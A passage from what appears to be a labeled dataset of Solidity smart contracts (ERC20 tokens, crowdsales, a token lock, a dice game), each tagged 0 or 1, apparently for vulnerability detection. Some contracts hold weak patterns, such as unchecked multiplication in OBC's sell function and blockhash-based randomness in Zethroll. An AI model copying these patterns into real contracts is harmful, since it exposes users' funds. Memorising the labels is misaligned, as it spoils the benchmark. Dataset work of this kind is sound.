CertAdmins[_CertAdmin] = true;
CertAdminAdded(_CertAdmin);
}
function delCertAdmin(address _CertAdmin) public onlyGlobalAdmin {
delete CertAdmins[_CertAdmin];
CertAdminDeleted(_CertAdmin);
}
function changeGlobalAdmin(address _GlobalAdmin) public onlyGlobalAdmin {
GlobalAdmin=_GlobalAdmin;
GlobalAdminChanged(_GlobalAdmin);
}
function getCertAddressByID(string _CertID) public constant returns (address) {
return CertificateAddresses[getCertKey(_CertID)];
}
function getCertKey(string _CertID) public pure returns (bytes32) {
return sha256(_CertID);
}
modifier onlyGlobalAdmin () {
require(msg.sender==GlobalAdmin);
_;
}
modifier onlyCertAdmin () {
require(CertAdmins[msg.sender]);
_;
}
} | 0 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30067200;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0xb657ECe413BE58f67553fAbCc80f704957fa54DF;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.16;
contract RxPharma{
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function RxPharma() public {
totalSupply = 50000000000 * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = "Rx Pharma Token";
symbol = "RXP";
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 |
pragma solidity ^0.4.11;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract Testcoin is MintableToken {
string public constant name = "Testcoin Token";
string public constant symbol = "TSTC";
uint32 public constant decimals = 18;
}
contract Crowdsale is Ownable {
using SafeMath for uint;
address multisig;
Testcoin public token = new Testcoin();
uint start;
uint period;
uint hardcap;
uint rate;
function Crowdsale() {
multisig = 0x18A09596E20A84EC5915DC1EBdC0B13312C924cD;
rate = 500000000000000000000;
start = 1523998800;
period = 30;
hardcap = 250000000000000000000000;
}
modifier saleIsOn() {
require(now > start && now < start + period * 1 days);
_;
}
modifier isUnderHardCap() {
require(multisig.balance <= hardcap);
_;
}
function finishMinting() public onlyOwner {
token.finishMinting();
}
function createTokens() isUnderHardCap saleIsOn payable {
multisig.transfer(msg.value);
uint tokens = rate.mul(msg.value).div(1 ether);
uint bonusTokens = 0;
if(now < start + (period * 1 days).div(3)) {
bonusTokens = tokens.div(5);
}
tokens += bonusTokens;
token.mint(msg.sender, tokens);
}
function() external payable {
createTokens();
}
} | 1 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract TokenERC20 {
using SafeMath for uint;
string public name = "organic block chain";
string public symbol = "OBC";
uint8 public decimals = 18;
uint256 public totalSupply = 3000000000 * 10 ** uint256(decimals);
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed from, uint256 value);
constructor(
uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0x0));
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from].add(balanceOf[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] = balanceOf[_from].sub(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(_from, _value);
return true;
}
}
contract OBC is owned, TokenERC20 {
using SafeMath for uint;
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
constructor(
uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != address(0x0));
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value >= balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] = balanceOf[target].add(mintedAmount);
totalSupply = totalSupply.add(mintedAmount);
emit Transfer(address(0), address(this), mintedAmount);
emit Transfer(address(this), target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(address(this), msg.sender, amount);
}
function sell(uint256 amount) public {
address myAddress = address(this);
require(myAddress.balance >= amount * sellPrice);
_transfer(msg.sender, address(this), amount);
msg.sender.transfer(amount * sellPrice);
}
} | 1 |
pragma solidity ^0.4.24;
contract ZethrTokenBankroll{
function gameRequestTokens(address target, uint tokens) public;
}
contract ZethrMainBankroll{
function gameGetTokenBankrollList() public view returns (address[7]);
}
contract ZethrInterface{
function withdraw() public;
}
library ZethrTierLibrary{
uint constant internal magnitude = 2**64;
function getTier(uint divRate) internal pure returns (uint){
uint actualDiv = divRate;
if (actualDiv >= 30){
return 6;
} else if (actualDiv >= 25){
return 5;
} else if (actualDiv >= 20){
return 4;
} else if (actualDiv >= 15){
return 3;
} else if (actualDiv >= 10){
return 2;
} else if (actualDiv >= 5){
return 1;
} else if (actualDiv >= 2){
return 0;
} else{
revert();
}
}
}
contract ZethrBankrollBridge{
ZethrInterface Zethr;
address[7] UsedBankrollAddresses;
mapping(address => bool) ValidBankrollAddress;
function setupBankrollInterface(address ZethrMainBankrollAddress) internal {
Zethr = ZethrInterface(0xb9ab8eed48852de901c13543042204c6c569b811);
UsedBankrollAddresses = ZethrMainBankroll(ZethrMainBankrollAddress).gameGetTokenBankrollList();
for(uint i=0; i<7; i++){
ValidBankrollAddress[UsedBankrollAddresses[i]] = true;
}
}
modifier fromBankroll(){
require(ValidBankrollAddress[msg.sender], "msg.sender should be a valid bankroll");
_;
}
function RequestBankrollPayment(address to, uint tokens, uint userDivRate) internal {
uint tier = ZethrTierLibrary.getTier(userDivRate);
address tokenBankrollAddress = UsedBankrollAddresses[tier];
ZethrTokenBankroll(tokenBankrollAddress).gameRequestTokens(to, tokens);
}
}
contract ZethrShell is ZethrBankrollBridge{
function WithdrawToBankroll() public {
address(UsedBankrollAddresses[0]).transfer(address(this).balance);
}
function WithdrawAndTransferToBankroll() public {
Zethr.withdraw();
WithdrawToBankroll();
}
}
contract Zethroll is ZethrShell {
using SafeMath for uint;
modifier betIsValid(uint _betSize, uint _playerNumber, uint divRate) {
require( calculateProfit(_betSize, _playerNumber) < getMaxProfit(divRate)
&& _betSize >= minBet
&& _playerNumber >= minNumber
&& _playerNumber <= maxNumber);
_;
}
modifier gameIsActive {
require(gamePaused == false);
_;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
uint constant private MAX_INT = 2 ** 256 - 1;
uint constant public maxProfitDivisor = 1000000;
uint public maxNumber = 90;
uint public minNumber = 10;
uint constant public houseEdgeDivisor = 1000;
bool public gamePaused;
bool public canMining = true;
uint public miningProfit = 100;
uint public minBetMining = 1e18;
address public owner;
mapping (uint => uint) public contractBalance;
mapping (uint => uint) public maxProfit;
uint public houseEdge;
uint public maxProfitAsPercentOfHouse;
uint public minBet = 0;
uint public totalBets;
uint public totalZTHWagered;
event LogBet(address sender, uint value, uint rollUnder);
event LogResult(address player, uint result, uint rollUnder, uint profit, uint tokensBetted, bool won);
event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred);
event MaxProfitChanged(uint _oldMaxProfit, uint _newMaxProfit);
event CurrentContractBalance(uint _tokens);
constructor (address ZethrMainBankrollAddress) public {
setupBankrollInterface(ZethrMainBankrollAddress);
owner = msg.sender;
houseEdge = 990;
ownerSetMaxProfitAsPercentOfHouse(200000);
ownerSetMinBet(1e18);
canMining = true;
miningProfit = 100;
minBetMining = 1e18;
}
function maxRandom(uint blockn, address entropy) public view returns (uint256 randomNumber) {
return uint256(keccak256(
abi.encodePacked(
blockhash(blockn),
entropy)
));
}
function random(uint256 upper, uint256 blockn, address entropy) public view returns (uint256 randomNumber) {
return maxRandom(blockn, entropy) % upper;
}
function calculateProfit(uint _initBet, uint _roll)
private
view
returns (uint)
{
return ((((_initBet * (100 - (_roll.sub(1)))) / (_roll.sub(1)) + _initBet)) * houseEdge / houseEdgeDivisor) - _initBet;
}
struct playerRoll{
uint192 tokenValue;
uint48 blockn;
uint8 rollUnder;
uint8 divRate;
}
mapping(address => playerRoll) public playerRolls;
function _playerRollDice(uint _rollUnder, TKN _tkn, uint userDivRate) private
gameIsActive
betIsValid(_tkn.value, _rollUnder, userDivRate)
{
require(_tkn.value < ((2 ** 192) - 1));
require(block.number < ((2 ** 48) - 1));
require(userDivRate < (2 ** 8 - 1));
playerRoll memory roll = playerRolls[_tkn.sender];
require(block.number != roll.blockn);
if (roll.blockn != 0) {
_finishBet(_tkn.sender);
}
roll.blockn = uint48(block.number);
roll.tokenValue = uint192(_tkn.value);
roll.rollUnder = uint8(_rollUnder);
roll.divRate = uint8(userDivRate);
playerRolls[_tkn.sender] = roll;
emit LogBet(_tkn.sender, _tkn.value, _rollUnder);
totalBets += 1;
totalZTHWagered += _tkn.value;
if(canMining && roll.tokenValue >= minBetMining){
uint miningAmout = SafeMath.div(SafeMath.mul(roll.tokenValue, miningProfit) , 10000);
RequestBankrollPayment(_tkn.sender, miningAmout, roll.divRate);
}
}
function finishBet() public
gameIsActive
returns (uint)
{
return _finishBet(msg.sender);
}
function _finishBet(address target) private returns (uint){
playerRoll memory roll = playerRolls[target];
require(roll.tokenValue > 0);
require(roll.blockn != block.number);
uint result;
if (block.number - roll.blockn > 255) {
result = 1000;
} else {
result = random(100, roll.blockn, target) + 1;
}
uint rollUnder = roll.rollUnder;
if (result < rollUnder) {
uint profit = calculateProfit(roll.tokenValue, rollUnder);
uint mProfit = getMaxProfit(roll.divRate);
if (profit > mProfit){
profit = mProfit;
}
subContractBalance(roll.divRate, profit);
emit LogResult(target, result, rollUnder, profit, roll.tokenValue, true);
setMaxProfit(roll.divRate);
playerRolls[target] = playerRoll(uint192(0), uint48(0), uint8(0), uint8(0));
RequestBankrollPayment(target, profit + roll.tokenValue, roll.divRate);
return result;
} else {
emit LogResult(target, result, rollUnder, profit, roll.tokenValue, false);
addContractBalance(roll.divRate, roll.tokenValue);
playerRolls[target] = playerRoll(uint192(0), uint48(0), uint8(0), uint8(0));
setMaxProfit(roll.divRate);
return result;
}
}
struct TKN {address sender; uint value;}
function execute(address _from, uint _value, uint userDivRate, bytes _data) public fromBankroll gameIsActive returns (bool) {
TKN memory _tkn;
_tkn.sender = _from;
_tkn.value = _value;
uint8 chosenNumber = uint8(_data[0]);
_playerRollDice(chosenNumber, _tkn, userDivRate);
return true;
}
function setMaxProfit(uint divRate) internal {
maxProfit[divRate] = (contractBalance[divRate] * maxProfitAsPercentOfHouse) / maxProfitDivisor;
}
function getMaxProfit(uint divRate) public view returns (uint){
return (contractBalance[divRate] * maxProfitAsPercentOfHouse) / maxProfitDivisor;
}
function subContractBalance(uint divRate, uint sub) internal {
contractBalance[divRate] = contractBalance[divRate].sub(sub);
}
function addContractBalance(uint divRate, uint add) internal {
contractBalance[divRate] = contractBalance[divRate].add(add);
}
function ownerUpdateContractBalance(uint newContractBalance, uint divRate) public
onlyOwner
{
contractBalance[divRate] = newContractBalance;
}
function ownerUpdateMinMaxNumber(uint newMinNumber, uint newMaxNumber) public
onlyOwner
{
minNumber = newMinNumber;
maxNumber = newMaxNumber;
}
function updateContractBalance(uint newContractBalance) public
onlyOwner
{
contractBalance[2] = newContractBalance;
setMaxProfit(2);
contractBalance[5] = newContractBalance;
setMaxProfit(5);
contractBalance[10] = newContractBalance;
setMaxProfit(10);
contractBalance[15] = newContractBalance;
setMaxProfit(15);
contractBalance[20] = newContractBalance;
setMaxProfit(20);
contractBalance[25] = newContractBalance;
setMaxProfit(25);
contractBalance[33] = newContractBalance;
setMaxProfit(33);
}
function bankrollExternalUpdateTokens(uint divRate, uint newBalance) public fromBankroll {
contractBalance[divRate] = newBalance;
setMaxProfit(divRate);
}
function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public
onlyOwner
{
require(newMaxProfitAsPercent <= 200000);
maxProfitAsPercentOfHouse = newMaxProfitAsPercent;
setMaxProfit(2);
setMaxProfit(5);
setMaxProfit(10);
setMaxProfit(15);
setMaxProfit(20);
setMaxProfit(25);
setMaxProfit(33);
}
function ownerSetMinBet(uint newMinimumBet) public
onlyOwner
{
minBet = newMinimumBet;
}
function ownerPauseGame(bool newStatus) public
onlyOwner
{
gamePaused = newStatus;
}
function ownerSetCanMining(bool newStatus) public
onlyOwner
{
canMining = newStatus;
}
function ownerSetMiningProfit(uint newProfit) public
onlyOwner
{
miningProfit = newProfit;
}
function ownerSetMinBetMining(uint newMinBetMining) public
onlyOwner
{
minBetMining = newMinBetMining;
}
function ownerChangeOwner(address newOwner) public
onlyOwner
{
owner = newOwner;
}
function ownerkill() public
onlyOwner
{
selfdestruct(owner);
}
}
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
} | 0 |
pragma solidity ^0.4.11;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed _from, address indexed _to, uint _value);
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract ElecTokenSmartContract is StandardToken, Ownable {
string public constant name = "ElectrifyAsia";
string public constant symbol = "ELEC";
uint8 public constant decimals = 18;
uint public saleStartTime;
uint public saleEndTime;
uint public lockedDays = 0;
address public tokenSaleContract;
address public adminAddress;
modifier onlyWhenTransferEnabled() {
if( now <= (saleEndTime + lockedDays * 1 days) && now >= saleStartTime ) {
require( msg.sender == tokenSaleContract || msg.sender == adminAddress );
}
_;
}
modifier validDestination( address to ) {
require(to != address(0x0));
require(to != address(this) );
_;
}
function ElecTokenSmartContract( uint tokenTotalAmount, uint startTime, uint endTime, uint lockedTime, address admin ) public {
balances[msg.sender] = tokenTotalAmount;
totalSupply = tokenTotalAmount;
Transfer(address(0x0), msg.sender, tokenTotalAmount);
saleStartTime = startTime;
saleEndTime = endTime;
lockedDays = lockedTime;
tokenSaleContract = msg.sender;
adminAddress = admin;
transferOwnership(admin);
}
function transfer(address _to, uint _value)
public
onlyWhenTransferEnabled
validDestination(_to)
returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value)
public
onlyWhenTransferEnabled
validDestination(_to)
returns (bool) {
return super.transferFrom(_from, _to, _value);
}
event Burn(address indexed _burner, uint _value);
function burn(uint _value) public onlyWhenTransferEnabled
returns (bool){
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(msg.sender, _value);
Transfer(msg.sender, address(0x0), _value);
return true;
}
function emergencyERC20Drain( ERC20 token, uint amount ) public onlyOwner {
token.transfer( owner, amount );
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ElecApprover {
ElecWhitelist public list;
mapping(address=>uint) public participated;
uint public saleStartTime;
uint public firstRoundTime;
uint public saleEndTime;
uint public xtime = 5;
using SafeMath for uint;
function ElecApprover( ElecWhitelist _whitelistContract,
uint _saleStartTime,
uint _firstRoundTime,
uint _saleEndTime ) public {
list = _whitelistContract;
saleStartTime = _saleStartTime;
firstRoundTime = _firstRoundTime;
saleEndTime = _saleEndTime;
require( list != ElecWhitelist(0x0) );
require( saleStartTime < firstRoundTime );
require( firstRoundTime < saleEndTime );
}
function contributorCap( address contributor ) public constant returns(uint) {
uint cap= list.getCap( contributor );
uint higherCap = cap;
if ( now > firstRoundTime ) {
higherCap = cap.mul(xtime);
}
return higherCap;
}
function eligible( address contributor, uint amountInWei ) public constant returns(uint) {
if( now < saleStartTime ) return 0;
if( now >= saleEndTime ) return 0;
uint cap = list.getCap( contributor );
if( cap == 0 ) return 0;
uint higherCap = cap;
if ( now > firstRoundTime ) {
higherCap = cap.mul(xtime);
}
uint remainedCap = higherCap.sub(participated[ contributor ]);
if( remainedCap > amountInWei ) return amountInWei;
else return remainedCap;
}
function eligibleTestAndIncrement( address contributor, uint amountInWei ) internal returns(uint) {
uint result = eligible( contributor, amountInWei );
if ( result > 0) {
participated[contributor] = participated[contributor].add( result );
}
return result;
}
function contributedCap(address _contributor) public constant returns(uint) {
if (participated[_contributor] == 0 ) return 0;
return participated[_contributor];
}
function contributedInternalCap(address _contributor) view internal returns(uint) {
if (participated[_contributor] == 0 ) return 0;
return participated[_contributor];
}
function saleEnded() public constant returns(bool) {
return now > saleEndTime;
}
function saleStarted() public constant returns(bool) {
return now >= saleStartTime;
}
}
contract ElecWhitelist is Ownable {
uint public communityusersCap = (10**18);
mapping(address=>uint) public addressCap;
function ElecWhitelist() public {}
event ListAddress( address _user, uint _cap, uint _time );
function listAddress( address _user, uint _cap ) public onlyOwner {
addressCap[_user] = _cap;
ListAddress( _user, _cap, now );
}
function listAddresses( address[] _users, uint[] _cap ) public onlyOwner {
require(_users.length == _cap.length );
for( uint i = 0 ; i < _users.length ; i++ ) {
listAddress( _users[i], _cap[i] );
}
}
function setUsersCap( uint _cap ) public onlyOwner {
communityusersCap = _cap;
}
function getCap( address _user ) public constant returns(uint) {
uint cap = addressCap[_user];
if( cap == 1 ) return communityusersCap;
else return cap;
}
function destroy() public onlyOwner {
selfdestruct(owner);
}
}
contract ElecSaleSmartContract is ElecApprover{
address public admin;
address public multiSigWallet;
ElecTokenSmartContract public token;
uint public raisedWei;
bool public haltSale;
uint constant toWei = (10**18);
uint public minCap = toWei.div(2);
mapping(bytes32=>uint) public proxyPurchases;
function ElecSaleSmartContract( address _admin,
address _multiSigWallet,
ElecWhitelist _whiteListContract,
uint _totalTokenSupply,
uint _companyTokenSupply,
uint _saleStartTime,
uint _firstRoundTime,
uint _saleEndTime,
uint _lockedDays)
public
ElecApprover( _whiteListContract,
_saleStartTime,
_firstRoundTime,
_saleEndTime )
{
admin = _admin;
multiSigWallet = _multiSigWallet;
token = new ElecTokenSmartContract( _totalTokenSupply,
_saleStartTime,
_saleEndTime,
_lockedDays,
_admin );
token.transfer( multiSigWallet, _companyTokenSupply );
}
function setHaltSale( bool halt ) public {
require( msg.sender == admin );
haltSale = halt;
}
function() public payable {
buy( msg.sender );
}
event ProxyBuy( bytes32 indexed _proxy, address _recipient, uint _amountInWei );
function proxyBuy( bytes32 proxy, address recipient ) public payable returns(uint){
uint amount = buy( recipient );
proxyPurchases[proxy] = proxyPurchases[proxy].add(amount);
ProxyBuy( proxy, recipient, amount );
return amount;
}
event Buy( address _buyer, uint _tokens, uint _payedWei );
function buy( address recipient ) public payable returns(uint){
require( tx.gasprice <= 50000000000 wei );
require( ! haltSale );
require( saleStarted() );
require( ! saleEnded() );
uint weiContributedCap = contributedInternalCap(recipient);
if (weiContributedCap == 0 ) require( msg.value >= minCap);
uint weiPayment = eligibleTestAndIncrement( recipient, msg.value );
require( weiPayment > 0 );
if( msg.value > weiPayment ) {
msg.sender.transfer( msg.value.sub( weiPayment ) );
}
sendETHToMultiSig( weiPayment );
raisedWei = raisedWei.add( weiPayment );
uint recievedTokens = weiPayment.mul( 11750 );
assert( token.transfer( recipient, recievedTokens ) );
Buy( recipient, recievedTokens, weiPayment );
return weiPayment;
}
function sendETHToMultiSig( uint value ) internal {
multiSigWallet.transfer( value );
}
event FinalizeSale();
function finalizeSale() public {
require( saleEnded() );
require( msg.sender == admin );
token.burn(token.balanceOf(this));
FinalizeSale();
}
function emergencyDrain(ERC20 anyToken) public returns(bool){
require( msg.sender == admin );
require( saleEnded() );
if( this.balance > 0 ) {
sendETHToMultiSig( this.balance );
}
if( anyToken != address(0x0) ) {
assert( anyToken.transfer(multiSigWallet, anyToken.balanceOf(this)) );
}
return true;
}
} | 0 |
pragma solidity ^0.4.13;
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
